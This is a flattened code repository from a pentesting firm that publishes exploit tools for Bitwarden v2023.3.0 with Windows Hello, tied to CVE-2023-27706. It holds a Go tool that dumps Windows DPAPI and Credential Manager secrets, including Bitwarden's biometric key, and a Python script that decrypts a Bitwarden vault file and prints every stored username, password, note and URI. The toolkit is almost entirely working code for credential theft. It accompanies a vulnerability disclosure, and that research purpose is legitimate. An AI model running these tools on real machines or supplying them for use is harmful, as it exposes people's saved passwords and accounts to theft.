├── .gitignore ├── LICENSE ├── README.md ├── dpapidump ├── go.mod ├── go.sum └── main.go └── hello-bitwarden.py /.gitignore: -------------------------------------------------------------------------------- 1 | dpapidump.exe 2 | dpapidump/dpapidump.exe 3 | data.json 4 | 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2024 RedTeam Pentesting GmbH 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 8 | 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Tools to Exploit Bitwarden v2023.3.0 with Windows Hello 2 | 3 | This repository contains the tools to exploit Bitwarden v2023.3.0 when the 4 | Windows Hello feature is enabled as described in our [blog 5 | post](https://blog.redteam-pentesting.de/2024/bitwarden-heist/). 6 | 7 | 8 | ### Dump Keys from DPAPI 9 | 10 | The tool `dpapidump` dumps credentials from DPAPI, including the biometric key 11 | of Bitwarden v2023.3.0 12 | ([CVE-2023-27706](https://nvd.nist.gov/vuln/detail/CVE-2023-27706)). It can be 13 | used as follows: 14 | 15 | ```sh 16 | cd dpapidump 17 | GOOS=windows go build 18 | ./dpapidump.exe 19 | ``` 20 | 21 | ### Decrypt Bitwarden Vault 22 | 23 | The Python script `hello-bitwarden.py` can be used to decrypt a Bitwarden 24 | password vault using the biometric key obtained from DPAPI or a password. The 25 | script can be used as follows: 26 | 27 | ```sh 28 | ./hello-bitwarden.py --biometric 29 | ./hello-bitwarden.py --password 30 | ``` 31 | 32 | The file `data.json` is created by Bitwarden and can usually be found at the 33 | following path: 34 | 35 | ``` 36 | %AppData%\Bitwarden\data.json 37 | ``` 38 | -------------------------------------------------------------------------------- /dpapidump/go.mod: -------------------------------------------------------------------------------- 1 | module dpapidump 2 | 3 | go 1.21.4 4 | 5 | require github.com/danieljoos/wincred v1.2.0 6 | 7 | require golang.org/x/sys v0.13.0 // indirect 8 | -------------------------------------------------------------------------------- /dpapidump/go.sum: -------------------------------------------------------------------------------- 1 | github.com/danieljoos/wincred v1.2.0 h1:ozqKHaLK0W/ii4KVbbvluM91W2H3Sh0BncbUNPS7jLE= 2 | github.com/danieljoos/wincred v1.2.0/go.mod h1:FzQLLMKBFdvu+osBrnFODiv32YGwCfx0SkRa/eYHgec= 3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 4 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 5 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 6 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 7 | github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c= 8 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 9 | github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= 10 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 11 | golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= 12 | golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 13 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 14 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 15 | -------------------------------------------------------------------------------- /dpapidump/main.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package main 4 | 5 | import ( 6 | "bytes" 7 | "encoding/binary" 8 | "fmt" 9 | "os" 10 | "unicode/utf16" 11 | 12 | "github.com/danieljoos/wincred" 13 | ) 14 | 15 | func run() error { 16 | creds, err := wincred.List() 17 | if err != nil { 18 | return fmt.Errorf("wincred list: %w", err) 19 | } 20 | 21 | for _, cred := range creds { 22 | credentialBlob, err := decodeUTF16LE(cred.CredentialBlob) 23 | if err != nil { 24 | credentialBlob = fmt.Sprintf("%q", string(cred.CredentialBlob)) 25 | } 26 | 27 | fmt.Printf("%s:\n * %s\n", cred.UserName, credentialBlob) 28 | } 29 | 30 | return nil 31 | } 32 | 33 | func decodeUTF16LE(d []byte) (string, error) { 34 | if len(d)%2 > 0 { 35 | return "", fmt.Errorf("UTF16LE requires even data length but actual length %d is uneven", 36 | len(d)) 37 | } 38 | 39 | s := make([]uint16, len(d)/2) 40 | 41 | err := binary.Read(bytes.NewReader(d), binary.LittleEndian, &s) 42 | if err != nil { 43 | return "", err 44 | } 45 | 46 | return string(utf16.Decode(s)), nil 47 | } 48 | 49 | func main() { 50 | err := run() 51 | if err != nil { 52 | fmt.Fprintf(os.Stderr, "Error: %v\n", err) 53 | 54 | os.Exit(1) 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /hello-bitwarden.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ######################################## 4 | # # 5 | # RedTeam Pentesting GmbH # 6 | # kontakt@redteam-pentesting.de # 7 | # https://www.redteam-pentesting.de/ # 8 | # # 9 | ######################################## 10 | 11 | 12 | import dataclasses 13 | import json 14 | import sys 15 | import typing 16 | import uuid 17 | from base64 import b64decode 18 | 19 | import click 20 | from cryptography.hazmat.primitives import hashes, serialization 21 | from cryptography.hazmat.primitives.asymmetric.padding import MGF1, OAEP 22 | from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateKey 23 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 24 | from cryptography.hazmat.primitives.hmac import HMAC 25 | from cryptography.hazmat.primitives.kdf.hkdf import HKDFExpand 26 | from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 27 | from cryptography.hazmat.primitives.padding import PKCS7 28 | 29 | 30 | @dataclasses.dataclass 31 | class BitwardenCipher: 32 | enc_type: int 33 | data: bytes 34 | iv: bytes | None = None 35 | mac: bytes | None = None 36 | 37 | def decrypt(self, key: bytes) -> bytes: 38 | # validate HMAC 39 | if self.mac and self.enc_type in [1, 2]: 40 | assert self.iv is not None 41 | hmac = HMAC(key[32:], algorithm=hashes.SHA256()) 42 | hmac.update(self.iv) 43 | hmac.update(self.data) 44 | 45 | if hmac.finalize() != self.mac: 46 | raise Exception("hmac mismatch") 47 | 48 | # decrypt 49 | if self.enc_type in [0, 1, 2]: 50 | assert self.iv is not None 51 | aes = Cipher(algorithms.AES(key[:32]), modes.CBC(self.iv)).decryptor() 52 | plain_with_padding = aes.update(self.data) + aes.finalize() 53 | unpadder = PKCS7(128).unpadder() 54 | return unpadder.update(plain_with_padding) + unpadder.finalize() 55 | elif self.enc_type in [3, 5]: 56 | private_key = serialization.load_der_private_key(key, password=None) 57 | assert isinstance(private_key, RSAPrivateKey) 58 | return private_key.decrypt( 59 | self.data, 60 | OAEP( 61 | mgf=MGF1(algorithm=hashes.SHA256()), 62 | algorithm=hashes.SHA256(), 63 | label=None, 64 | ), 65 | ) 66 | elif self.enc_type in [4, 6]: 67 | private_key = serialization.load_der_private_key(key, password=None) 68 | assert isinstance(private_key, RSAPrivateKey) 69 | return private_key.decrypt( 70 | self.data, 71 | OAEP( 72 | mgf=MGF1(algorithm=hashes.SHA1()), 73 | algorithm=hashes.SHA1(), 74 | label=None, 75 | ), 76 | ) 77 | else: 78 | raise ValueError(f"unsupported encryption type {self.enc_type}") 79 | 80 | 81 | def cipher_from_str(cipher_string: str) -> BitwardenCipher: 82 | enc_type, rest = cipher_string.split(".", 1) 83 | enc_type = int(enc_type) 84 | splitted = rest.split("|") 85 | 86 | if enc_type == 0: 87 | return BitwardenCipher( 88 | enc_type=enc_type, iv=b64decode(splitted[0]), data=b64decode(splitted[1]) 89 | ) 90 | elif enc_type == 1 or enc_type == 2: 91 | return BitwardenCipher( 92 | enc_type=enc_type, 93 | iv=b64decode(splitted[0]), 94 | data=b64decode(splitted[1]), 95 | mac=b64decode(splitted[2]), 96 | ) 97 | elif enc_type == 3 or enc_type == 4: 98 | return BitwardenCipher(enc_type=enc_type, data=b64decode(splitted[0])) 99 | elif enc_type == 5 or enc_type == 6: 100 | return BitwardenCipher( 101 | enc_type=enc_type, data=b64decode(splitted[0]), mac=b64decode(splitted[1]) 102 | ) 103 | else: 104 | raise ValueError(f"unsupported encryption type {enc_type}") 105 | 106 | 107 | def is_valid_uuid(uuid_to_test, version=4) -> bool: 108 | try: 109 | uuid_obj = uuid.UUID(uuid_to_test, version=version) 110 | except ValueError: 111 | return False 112 | return str(uuid_obj) == uuid_to_test 113 | 114 | 115 | def read_bitwarden_data_file(filename: str) -> typing.Dict: 116 | with open(filename, "r") as f: 117 | raw = f.read() 118 | return json.loads(raw) 119 | 120 | 121 | def get_first_user(data: typing.Dict) -> typing.Dict: 122 | for key in data.keys(): 123 | if is_valid_uuid(key): 124 | return data[key] 125 | raise RuntimeError("could not retrieve first user") 126 | 127 | 128 | def decrypt_encryption_key(user_section: typing.Dict, key: bytes) -> bytes: 129 | cipher = cipher_from_str(user_section["keys"]["cryptoSymmetricKey"]["encrypted"]) 130 | 131 | # if cryptoSymmetricKey uses encryption with HMAC, the derived key is stretched using HKDF 132 | if cipher.mac: 133 | key = stretch_key(key) 134 | 135 | return cipher.decrypt(key) 136 | 137 | 138 | def decrypt_rsa_key(user_section: typing.Dict, enc_key: bytes): 139 | cipher = cipher_from_str(user_section["keys"]["privateKey"]["encrypted"]) 140 | return cipher.decrypt(enc_key) 141 | 142 | 143 | def organization_keys(user_section: typing.Dict, rsa_key: bytes) -> typing.Dict: 144 | orgs = {} 145 | org_key_section: typing.Dict = user_section["keys"]["organizationKeys"]["encrypted"] 146 | 147 | for org_key in org_key_section.keys(): 148 | if is_valid_uuid(org_key): 149 | cipher = cipher_from_str(org_key_section[org_key]["key"]) 150 | orgs[org_key] = cipher.decrypt(rsa_key) 151 | 152 | return orgs 153 | 154 | 155 | def decrypt_cipher_block( 156 | block: typing.Dict, enc_key: bytes, orgs: typing.Dict 157 | ) -> typing.Dict: 158 | decrypted = {} 159 | 160 | key = enc_key 161 | 162 | if block.get("organizationId") and len(block["organizationId"]) > 0: 163 | key = orgs[block["organizationId"]] 164 | decrypted["organizationId"] = block["organizationId"] 165 | 166 | if block.get("name"): 167 | decrypted["name"] = cipher_from_str(block["name"]).decrypt(key).decode("utf-8") 168 | 169 | if block.get("notes"): 170 | decrypted["notes"] = ( 171 | cipher_from_str(block["notes"]).decrypt(key).decode("utf-8") 172 | ) 173 | 174 | if block.get("login"): 175 | login = {} 176 | 177 | if block["login"].get("username"): 178 | login["username"] = ( 179 | cipher_from_str(block["login"]["username"]).decrypt(key).decode("utf-8") 180 | ) 181 | 182 | if block["login"].get("password"): 183 | login["password"] = ( 184 | cipher_from_str(block["login"]["password"]).decrypt(key).decode("utf-8") 185 | ) 186 | 187 | if block["login"].get("uris"): 188 | decrypted_uris = [] 189 | for uriblock in block["login"]["uris"]: 190 | if uriblock.get("uri"): 191 | decrypted_uris.append( 192 | cipher_from_str(uriblock["uri"]).decrypt(key).decode("utf-8") 193 | ) 194 | 195 | login["uris"] = decrypted_uris 196 | 197 | decrypted["login"] = login 198 | 199 | return decrypted 200 | 201 | 202 | def decrypt_user_passwords(user_section: typing.Dict, enc_key: bytes) -> list[dict]: 203 | rsa = decrypt_rsa_key(user_section, enc_key) 204 | orgs = organization_keys(user_section, rsa) 205 | cipher_sections: typing.Dict = user_section["data"]["ciphers"]["encrypted"] 206 | 207 | decrypted_blocks = [] 208 | for _, section in cipher_sections.items(): 209 | decrypted_blocks.append(decrypt_cipher_block(section, enc_key, orgs)) 210 | 211 | return decrypted_blocks 212 | 213 | 214 | def derive_key(email: str, password: str, iterations: int) -> bytes: 215 | kdf = PBKDF2HMAC( 216 | algorithm=hashes.SHA256(), 217 | length=32, 218 | salt=email.encode("utf-8"), 219 | iterations=iterations, 220 | ) 221 | return kdf.derive(password.encode("utf-8")) 222 | 223 | 224 | def stretch_key(key: bytes) -> bytes: 225 | hkdfKey = HKDFExpand(algorithm=hashes.SHA256(), length=32, info=b"enc") 226 | hkdfMacKey = HKDFExpand(algorithm=hashes.SHA256(), length=32, info=b"mac") 227 | return hkdfKey.derive(key) + hkdfMacKey.derive(key) 228 | 229 | 230 | @click.command() 231 | @click.option("--password", default=None) 232 | @click.option("--biometric", default=None) 233 | @click.argument("filename") 234 | def main( 235 | password: str, 236 | biometric: str, 237 | filename: str, 238 | ): 239 | if not password and not biometric: 240 | print("Specifiy either password or biometric key") 241 | sys.exit(1) 242 | 243 | if password and biometric: 244 | print("Password and Biometrics can not be supplied at the same time") 245 | sys.exit(1) 246 | 247 | data = read_bitwarden_data_file(filename) 248 | userSection = get_first_user(data) 249 | 250 | derived_key: bytes | None = None 251 | 252 | if password: 253 | email = userSection["profile"]["email"] 254 | iterations = int(userSection["profile"]["kdfIterations"]) 255 | derived_key = derive_key(email, password, iterations) 256 | else: 257 | derived_key = b64decode(biometric) 258 | 259 | encKey = decrypt_encryption_key(userSection, derived_key) 260 | passwords = decrypt_user_passwords(userSection, encKey) 261 | print(json.dumps(passwords, indent=2)) 262 | 263 | 264 | if __name__ == "__main__": 265 | main() 266 | --------------------------------------------------------------------------------